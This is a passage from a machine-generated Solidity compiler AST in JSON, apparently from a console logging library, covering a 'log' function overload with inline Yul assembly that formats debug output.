28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":41077,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"222674:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"222674:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41081,"nodeType":"ExpressionStatement","src":"222674:28:22"},{"AST":{"nativeSrc":"222721:273:22","nodeType":"YulBlock","src":"222721:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"222742:4:22","nodeType":"YulLiteral","src":"222742:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"222748:2:22","nodeType":"YulIdentifier","src":"222748:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222735:6:22","nodeType":"YulIdentifier","src":"222735:6:22"},"nativeSrc":"222735:16:22","nodeType":"YulFunctionCall","src":"222735:16:22"},"nativeSrc":"222735:16:22","nodeType":"YulExpressionStatement","src":"222735:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222771:4:22","nodeType":"YulLiteral","src":"222771:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"222777:2:22","nodeType":"YulIdentifier","src":"222777:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222764:6:22","nodeType":"YulIdentifier","src":"222764:6:22"},"nativeSrc":"222764:16:22","nodeType":"YulFunctionCall","src":"222764:16:22"},"nativeSrc":"222764:16:22","nodeType":"YulExpressionStatement","src":"222764:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222800:4:22","nodeType":"YulLiteral","src":"222800:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"222806:2:22","nodeType":"YulIdentifier","src":"222806:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222793:6:22","nodeType":"YulIdentifier","src":"222793:6:22"},"nativeSrc":"222793:16:22","nodeType":"YulFunctionCall","src":"222793:16:22"},"nativeSrc":"222793:16:22","nodeType":"YulExpressionStatement","src":"222793:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222829:4:22","nodeType":"YulLiteral","src":"222829:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"222835:2:22","nodeType":"YulIdentifier","src":"222835:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222822:6:22","nodeType":"YulIdentifier","src":"222822:6:22"},"nativeSrc":"222822:16:22","nodeType":"YulFunctionCall","src":"222822:16:22"},"nativeSrc":"222822:16:22","nodeType":"YulExpressionStatement","src":"222822:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222858:4:22","nodeType":"YulLiteral","src":"222858:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"222864:2:22","nodeType":"YulIdentifier","src":"222864:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222851:6:22","nodeType":"YulIdentifier","src":"222851:6:22"},"nativeSrc":"222851:16:22","nodeType":"YulFunctionCall","src":"222851:16:22"},"nativeSrc":"222851:16:22","nodeType":"YulExpressionStatement","src":"222851:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222887:4:22","nodeType":"YulLiteral","src":"222887:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"222893:2:22","nodeType":"YulIdentifier","src":"222893:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222880:6:22","nodeType":"YulIdentifier","src":"222880:6:22"},"nativeSrc":"222880:16:22","nodeType":"YulFunctionCall","src":"222880:16:22"},"nativeSrc":"222880:16:22","nodeType":"YulExpressionStatement","src":"222880:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222916:4:22","nodeType":"YulLiteral","src":"222916:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"222922:2:22","nodeType":"YulIdentifier","src":"222922:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222909:6:22","nodeType":"YulIdentifier","src":"222909:6:22"},"nativeSrc":"222909:16:22","nodeType":"YulFunctionCall","src":"222909:16:22"},"nativeSrc":"222909:16:22","nodeType":"YulExpressionStatement","src":"222909:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222945:4:22","nodeType":"YulLiteral","src":"222945:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"222951:2:22","nodeType":"YulIdentifier","src":"222951:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222938:6:22","nodeType":"YulIdentifier","src":"222938:6:22"},"nativeSrc":"222938:16:22","nodeType":"YulFunctionCall","src":"222938:16:22"},"nativeSrc":"222938:16:22","nodeType":"YulExpressionStatement","src":"222938:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"222974:5:22","nodeType":"YulLiteral","src":"222974:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"222981:2:22","nodeType":"YulIdentifier","src":"222981:2:22"}],"functionName":{"name":"mstore","nativeSrc":"222967:6:22","nodeType":"YulIdentifier","src":"222967:6:22"},"nativeSrc":"222967:17:22","nodeType":"YulFunctionCall","src":"222967:17:22"},"nativeSrc":"222967:17:22","nodeType":"YulExpressionStatement","src":"222967:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41050,"isOffset":false,"isSlot":false,"src":"222748:2:22","valueSize":1},{"declaration":41053,"isOffset":false,"isSlot":false,"src":"222777:2:22","valueSize":1},{"declaration":41056,"isOffset":false,"isSlot":false,"src":"222806:2:22","valueSize":1},{"declaration":41059,"isOffset":false,"isSlot":false,"src":"222835:2:22","valueSize":1},{"declaration":41062,"isOffset":false,"isSlot":false,"src":"222864:2:22","valueSize":1},{"declaration":41065,"isOffset":false,"isSlot":false,"src":"222893:2:22","valueSize":1},{"declaration":41068,"isOffset":false,"isSlot":false,"src":"222922:2:22","valueSize":1},{"declaration":41071,"isOffset":false,"isSlot":false,"src":"222951:2:22","valueSize":1},{"declaration":41074,"isOffset":false,"isSlot":false,"src":"222981:2:22","valueSize":1}],"id":41082,"nodeType":"InlineAssembly","src":"222712:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"221479:3:22","parameters":{"id":41047,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41040,"mutability":"mutable","name":"p0","nameLocation":"221488:2:22","nodeType":"VariableDeclaration","scope":41084,"src":"221483:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41039,"name":"bool","nodeType":"ElementaryTypeName","src":"221483:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41042,"mutability":"mutable","name":"p1","nameLocation":"221500:2:22","nodeType":"VariableDeclaration","scope":41084,"src":"221492:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41041,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221492:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41044,"mutability":"mutable","name":"p2","nameLocation":"221512:2:22","nodeType":"VariableDeclaration","scope":41084,"src":"221504:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41043,"name":"uint256","nodeType":"ElementaryTypeName","src":"221504:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41046,"mutability":"mutable","name":"p3","nameLocation":"221524:2:22","nodeType":"VariableDeclaration","scope":41084,"src":"221516:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41045,"name":"bytes32","nodeType":"ElementaryTypeName","src":"221516:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"221482:45:22"},"returnParameters":{"id":41048,"nodeType":"ParameterList","parameters":[],"src":"221542:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41130,"nodeType":"FunctionDefinition","src":"223006:1530:22","nodes":[],"body":{"id":41129,"nodeType":"Block","src":"223078:1458:22","nodes":[],"statements":[{"assignments":[41096],"declarations":[{"constant":false,"id":41096,"mutability":"mutable","name":"m0","nameLocation":"223096:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223088:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41095,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223088:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41097,"nodeType":"VariableDeclarationStatement","src":"223088:10:22"},{"assignments":[41099],"declarations":[{"constant":false,"id":41099,"mutability":"mutable","name":"m1","nameLocation":"223116:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223108:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41098,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223108:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41100,"nodeType":"VariableDeclarationStatement","src":"223108:10:22"},{"assignments":[41102],"declarations":[{"constant":false,"id":41102,"mutability":"mutable","name":"m2","nameLocation":"223136:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223128:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41101,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223128:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41103,"nodeType":"VariableDeclarationStatement","src":"223128:10:22"},{"assignments":[41105],"declarations":[{"constant":false,"id":41105,"mutability":"mutable","name":"m3","nameLocation":"223156:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223148:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41104,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223148:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41106,"nodeType":"VariableDeclarationStatement","src":"223148:10:22"},{"assignments":[41108],"declarations":[{"constant":false,"id":41108,"mutability":"mutable","name":"m4","nameLocation":"223176:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223168:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41107,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223168:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41109,"nodeType":"VariableDeclarationStatement","src":"223168:10:22"},{"assignments":[41111],"declarations":[{"constant":false,"id":41111,"mutability":"mutable","name":"m5","nameLocation":"223196:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223188:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41110,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223188:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41112,"nodeType":"VariableDeclarationStatement","src":"223188:10:22"},{"assignments":[41114],"declarations":[{"constant":false,"id":41114,"mutability":"mutable","name":"m6","nameLocation":"223216:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223208:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41113,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223208:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41115,"nodeType":"VariableDeclarationStatement","src":"223208:10:22"},{"assignments":[41117],"declarations":[{"constant":false,"id":41117,"mutability":"mutable","name":"m7","nameLocation":"223236:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223228:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41116,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223228:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41118,"nodeType":"VariableDeclarationStatement","src":"223228:10:22"},{"assignments":[41120],"declarations":[{"constant":false,"id":41120,"mutability":"mutable","name":"m8","nameLocation":"223256:2:22","nodeType":"VariableDeclaration","scope":41129,"src":"223248:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41119,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223248:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41121,"nodeType":"VariableDeclarationStatement","src":"223248:10:22"},{"AST":{"nativeSrc":"223277:924:22","nodeType":"YulBlock","src":"223277:924:22","statements":[{"body":{"nativeSrc":"223320:313:22","nodeType":"YulBlock","src":"223320:313:22","statements":[{"nativeSrc":"223338:15:22","nodeType":"YulVariableDeclaration","src":"223338:15:22","value":{"kind":"number","nativeSrc":"223352:1:22","nodeType":"YulLiteral","src":"223352:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"223342:6:22","nodeType":"YulTypedName","src":"223342:6:22","type":""}]},{"body":{"nativeSrc":"223423:40:22","nodeType":"YulBlock","src":"223423:40:22","statements":[{"body":{"nativeSrc":"223452:9:22","nodeType":"YulBlock","src":"223452:9:22","statements":[{"nativeSrc":"223454:5:22","nodeType":"YulBreak","src":"223454:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"223440:6:22","nodeType":"YulIdentifier","src":"223440:6:22"},{"name":"w","nativeSrc":"223448:1:22","nodeType":"YulIdentifier","src":"223448:1:22"}],"functionName":{"name":"byte","nativeSrc":"223435:4:22","nodeType":"YulIdentifier","src":"223435:4:22"},"nativeSrc":"223435:15:22","nodeType":"YulFunctionCall","src":"223435:15:22"}],"functionName":{"name":"iszero","nativeSrc":"223428:6:22","nodeType":"YulIdentifier","src":"223428:6:22"},"nativeSrc":"223428:23:22","nodeType":"YulFunctionCall","src":"223428:23:22"},"nativeSrc":"223425:36:22","nodeType":"YulIf","src":"223425:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"223380:6:22","nodeType":"YulIdentifier","src":"223380:6:22"},{"kind":"number","nativeSrc":"223388:4:22","nodeType":"YulLiteral","src":"223388:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"223377:2:22","nodeType":"YulIdentifier","src":"223377:2:22"},"nativeSrc":"223377:16:22","nodeType":"YulFunctionCall","src":"223377:16:22"},"nativeSrc":"223370:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"223394:28:22","nodeType":"YulBlock","src":"223394:28:22","statements":[{"nativeSrc":"223396:24:22","nodeType":"YulAssignment","src":"223396:24:22","value":{"arguments":[{"name":"length","nativeSrc":"223410:6:22","nodeType":"YulIdentifier","src":"223410:6:22"},{"kind":"number","nativeSrc":"223418:1:22","nodeType":"YulLiteral","src":"223418:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"223406:3:22","nodeType":"YulIdentifier","src":"223406:3:22"},"nativeSrc":"223406:14:22","nodeType":"YulFunctionCall","src":"223406:14:22"},"variableNames":[{"name":"length","nativeSrc":"223396:6:22","nodeType":"YulIdentifier","src":"223396:6:22"}]}]},"pre":{"nativeSrc":"223374:2:22","nodeType":"YulBlock","src":"223374:2:22","statements":[]},"src":"223370:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"223487:3:22","nodeType":"YulIdentifier","src":"223487:3:22"},{"name":"length","nativeSrc":"223492:6:22","nodeType":"YulIdentifier","src":"223492:6:22"}],"functionName":{"name":"mstore","nativeSrc":"223480:6:22","nodeType":"YulIdentifier","src":"223480:6:22"},"nativeSrc":"223480:19:22","nodeType":"YulFunctionCall","src":"223480:19:22"},"nativeSrc":"223480:19:22","nodeType":"YulExpressionStatement","src":"223480:19:22"},{"nativeSrc":"223516:37:22","nodeType":"YulVariableDeclaration","src":"223516:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"223533:3:22","nodeType":"YulLiteral","src":"223533:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"223542:1:22","nodeType":"YulLiteral","src":"223542:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"223545:6:22","nodeType":"YulIdentifier","src":"223545:6:22"}],"functionName":{"name":"shl","nativeSrc":"223538:3:22","nodeType":"YulIdentifier","src":"223538:3:22"},"nativeSrc":"223538:14:22","nodeType":"YulFunctionCall","src":"223538:14:22"}],"functionName":{"name":"sub","nativeSrc":"223529:3:22","nodeType":"YulIdentifier","src":"223529:3:22"},"nativeSrc":"223529:24:22","nodeType":"YulFunctionCall","src":"223529:24:22"},"variables":[{"name":"shift","nativeSrc":"223520:5:22","nodeType":"YulTypedName","src":"223520:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"223581:3:22","nodeType":"YulIdentifier","src":"223581:3:22"},{"kind":"number","nativeSrc":"223586:4:22","nodeType":"YulLiteral","src":"223586:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"223577:3:22","nodeType":"YulIdentifier","src":"223577:3:22"},"nativeSrc":"223577:14:22","nodeType":"YulFunctionCall","src":"223577:14:22"},{"arguments":[{"name":"shift","nativeSrc":"223597:5:22","nodeType":"YulIdentifier","src":"223597:5:22"},{"arguments":[{"name":"shift","nativeSrc":"223608:5:22","nodeType":"YulIdentifier","src":"223608:5:22"},{"name":"w","nativeSrc":"223615:1:22","nodeType":"YulIdentifier","src":"223615:1:22"}],"functionName":{"name":"shr","nativeSrc":"223604:3:22","nodeType":"YulIdentifier","src":"223604:3:22"},"nativeSrc":"223604:13:22","nodeType":"YulFunctionCall","src":"223604:13:22"}],"functionName":{"name":"shl","nativeSrc":"223593:3:22","nodeType":"YulIdentifier","src":"223593:3:22"},"nativeSrc":"223593:25:22","nodeType":"YulFunctionCall","src":"223593:25:22"}],"functionName":{"name":"mstore","nativeSrc":"223570:6:22","nodeType":"YulIdentifier","src":"223570:6:22"},"nativeSrc":"223570:49:22","nodeType":"YulFunctionCall","src":"223570:49:22"},"nativeSrc":"223570:49:22","nodeType":"YulExpressionStatement","src":"223570:49:22"}]},"name":"writeString","nativeSrc":"223291:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"223312:3:22","nodeType":"YulTypedName","src":"223312:3:22","type":""},{"name":"w","nativeSrc":"223317:1:22","nodeType":"YulTypedName","src":"223317:1:22","type":""}],"src":"223291:342:22"},{"nativeSrc":"223646:17:22","nodeType":"YulAssignment","src":"223646:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223658:4:22","nodeType":"YulLiteral","src":"223658:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"223652:5:22","nodeType":"YulIdentifier","src":"223652:5:22"},"nativeSrc":"223652:11:22","nodeType":"YulFunctionCall","src":"223652:11:22"},"variableNames":[{"name":"m0","nativeSrc":"223646:2:22","nodeType":"YulIdentifier","src":"223646:2:22"}]},{"nativeSrc":"223676:17:22","nodeType":"YulAssignment","src":"223676:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223688:4:22","nodeType":"YulLiteral","src":"223688:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"223682:5:22","nodeType":"YulIdentifier","src":"223682:5:22"},"nativeSrc":"223682:11:22","nodeType":"YulFunctionCall","src":"223682:11:22"},"variableNames":[{"name":"m1","nativeSrc":"223676:2:22","nodeType":"YulIdentifier","src":"223676:2:22"}]},{"nativeSrc":"223706:17:22","nodeType":"YulAssignment","src":"223706:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223718:4:22","nodeType":"YulLiteral","src":"223718:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"223712:5:22","nodeType":"YulIdentifier","src":"223712:5:22"},"nativeSrc":"223712:11:22","nodeType":"YulFunctionCall","src":"223712:11:22"},"variableNames":[{"name":"m2","nativeSrc":"223706:2:22","nodeType":"YulIdentifier","src":"223706:2:22"}]},{"nativeSrc":"223736:17:22","nodeType":"YulAssignment","src":"223736:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223748:4:22","nodeType":"YulLiteral","src":"223748:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"223742:5:22","nodeType":"YulIdentifier","src":"223742:5:22"},"nativeSrc":"223742:11:22","nodeType":"YulFunctionCall","src":"223742:11:22"},"variableNames":[{"name":"m3","nativeSrc":"223736:2:22","nodeType":"YulIdentifier","src":"223736:2:22"}]},{"nativeSrc":"223766:17:22","nodeType":"YulAssignment","src":"223766:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223778:4:22","nodeType":"YulLiteral","src":"223778:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"223772:5:22","nodeType":"YulIdentifier","src":"223772:5:22"},"nativeSrc":"223772:11:22","nodeType":"YulFunctionCall","src":"223772:11:22"},"variableNames":[{"name":"m4","nativeSrc":"223766:2:22","nodeType":"YulIdentifier","src":"223766:2:22"}]},{"nativeSrc":"223796:17:22","nodeType":"YulAssignment","src":"223796:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223808:4:22","nodeType":"YulLiteral","src":"223808:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"223802:5:22","nodeType":"YulIdentifier","src":"223802:5:22"},"nativeSrc":"223802:11:22","nodeType":"YulFunctionCall","src":"223802:11:22"},"variableNames":[{"name":"m5","nativeSrc":"223796:2:22","nodeType":"YulIdentifier","src":"223796:2:22"}]},{"nativeSrc":"223826:17:22","nodeType":"YulAssignment","src":"223826:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223838:4:22","nodeType":"YulLiteral","src":"223838:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"223832:5:22","nodeType":"YulIdentifier","src":"223832:5:22"},"nativeSrc":"223832:11:22","nodeType":"YulFunctionCall","src":"223832:11:22"},"variableNames":[{"name":"m6","nativeSrc":"223826:2:22","nodeType":"YulIdentifier","src":"223826:2:22"}]},{"nativeSrc":"223856:17:22","nodeType":"YulAssignment","src":"223856:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"223868:4:22","nodeType":"YulLiteral","src":"223868:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"223862:5:22","nodeType":"YulIdentifier","src":"223862:5:22"},"nativeSrc":"223862:11:22","nodeType":"YulFunctionCall","src":"223862:11:22"},"variableNames":[{"name":"m7","nativeSrc":"223856:2:22","nodeType":"YulIdentifier","src":"223856:2:22"}]},{"nativeSrc":"223886:18:22","nodeType":"YulAssignment","src":"223886:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"223898:5:22","nodeType":"YulLiteral","src":"223898:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"223892:5:22","nodeType":"YulIdentifier","src":"223892:5:22"},"nativeSrc":"223892:12:22","nodeType":"YulFunctionCall","src":"223892:12:22"},"variableNames":[{"name":"m8","nativeSrc":"223886:2:22","nodeType":"YulIdentifier","src":"223886:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"223986:4:22","nodeType":"YulLiteral","src":"223986:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"223992:10:22","nodeType":"YulLiteral","src":"223992:10:22","type":"","value":"0x97d394d8"}],"functionName":{"name":"mstore","nativeSrc":"223979:6:22","nodeType":"YulIdentifier","src":"223979:6:22"},"nativeSrc":"223979:24:22","nodeType":"YulFunctionCall","src":"223979:24:22"},"nativeSrc":"223979:24:22","nodeType":"YulExpressionStatement","src":"223979:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224023:4:22","nodeType":"YulLiteral","src":"224023:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"224029:2:22","nodeType":"YulIdentifier","src":"224029:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224016:6:22","nodeType":"YulIdentifier","src":"224016:6:22"},"nativeSrc":"224016:16:22","nodeType":"YulFunctionCall","src":"224016:16:22"},"nativeSrc":"224016:16:22","nodeType":"YulExpressionStatement","src":"224016:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224052:4:22","nodeType":"YulLiteral","src":"224052:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"224058:4:22","nodeType":"YulLiteral","src":"224058:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"224045:6:22","nodeType":"YulIdentifier","src":"224045:6:22"},"nativeSrc":"224045:18:22","nodeType":"YulFunctionCall","src":"224045:18:22"},"nativeSrc":"224045:18:22","nodeType":"YulExpressionStatement","src":"224045:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224083:4:22","nodeType":"YulLiteral","src":"224083:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"224089:4:22","nodeType":"YulLiteral","src":"224089:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"224076:6:22","nodeType":"YulIdentifier","src":"224076:6:22"},"nativeSrc":"224076:18:22","nodeType":"YulFunctionCall","src":"224076:18:22"},"nativeSrc":"224076:18:22","nodeType":"YulExpressionStatement","src":"224076:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224114:4:22","nodeType":"YulLiteral","src":"224114:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"224120:2:22","nodeType":"YulIdentifier","src":"224120:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224107:6:22","nodeType":"YulIdentifier","src":"224107:6:22"},"nativeSrc":"224107:16:22","nodeType":"YulFunctionCall","src":"224107:16:22"},"nativeSrc":"224107:16:22","nodeType":"YulExpressionStatement","src":"224107:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224148:4:22","nodeType":"YulLiteral","src":"224148:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"224154:2:22","nodeType":"YulIdentifier","src":"224154:2:22"}],"functionName":{"name":"writeString","nativeSrc":"224136:11:22","nodeType":"YulIdentifier","src":"224136:11:22"},"nativeSrc":"224136:21:22","nodeType":"YulFunctionCall","src":"224136:21:22"},"nativeSrc":"224136:21:22","nodeType":"YulExpressionStatement","src":"224136:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224182:4:22","nodeType":"YulLiteral","src":"224182:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"224188:2:22","nodeType":"YulIdentifier","src":"224188:2:22"}],"functionName":{"name":"writeString","nativeSrc":"224170:11:22","nodeType":"YulIdentifier","src":"224170:11:22"},"nativeSrc":"224170:21:22","nodeType":"YulFunctionCall","src":"224170:21:22"},"nativeSrc":"224170:21:22","nodeType":"YulExpressionStatement","src":"224170:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41096,"isOffset":false,"isSlot":false,"src":"223646:2:22","valueSize":1},{"declaration":41099,"isOffset":false,"isSlot":false,"src":"223676:2:22","valueSize":1},{"declaration":41102,"isOffset":false,"isSlot":false,"src":"223706:2:22","valueSize":1},{"declaration":41105,"isOffset":false,"isSlot":false,"src":"223736:2:22","valueSize":1},{"declaration":41108,"isOffset":false,"isSlot":false,"src":"223766:2:22","valueSize":1},{"declaration":41111,"isOffset":false,"isSlot":false,"src":"223796:2:22","valueSize":1},{"declaration":41114,"isOffset":false,"isSlot":false,"src":"223826:2:22","valueSize":1},{"declaration":41117,"isOffset":false,"isSlot":false,"src":"223856:2:22","valueSize":1},{"declaration":41120,"isOffset":false,"isSlot":false,"src":"223886:2:22","valueSize":1},{"declaration":41086,"isOffset":false,"isSlot":false,"src":"224029:2:22","valueSize":1},{"declaration":41088,"isOffset":false,"isSlot":false,"src":"224154:2:22","valueSize":1},{"declaration":41090,"isOffset":false,"isSlot":false,"src":"224188:2:22","valueSize":1},{"declaration":41092,"isOffset":false,"isSlot":false,"src":"224120:2:22","valueSize":1}],"id":41122,"nodeType":"InlineAssembly","src":"223268:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"224226:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":41125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"224232:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 